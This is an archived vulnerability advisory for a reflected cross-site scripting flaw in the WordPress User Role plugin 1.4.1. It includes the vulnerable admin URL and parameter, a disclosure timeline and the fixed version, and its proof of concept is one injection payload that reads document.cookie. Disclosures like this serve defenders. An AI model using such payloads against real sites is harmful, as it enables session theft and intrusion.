what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress User Role 1.4.1 Cross Site Scripting

WordPress User Role 1.4.1 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress User Role plugin version 1.4.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | fbc8ae9d4bf8b35fec5985f4353e4edf07c7ae595dee0a8d652bd3b7b3b0cab7

WordPress User Role 1.4.1 Cross Site Scripting

Change Mirror Download
Plugin Name : User Role

Effected Version : 1.4.1 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

In the following field put the payload as below

http://localhost/wp-admin/admin.php?page=user-role.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>

Vulnerable Parameter : bws_license_key

Type of XSS : Reflected

Fixed in : 1.4.2

http://wordpress.org/plugins/user-role/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

The User Role plugin allows you to change wordpress role capabilities. It is a very useful tool when your site has a bunch of visitors or subscribers. The plugin has intuitive and convenient interface so all the site visitors can be easily sorted by roles with a couple of clicks.
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close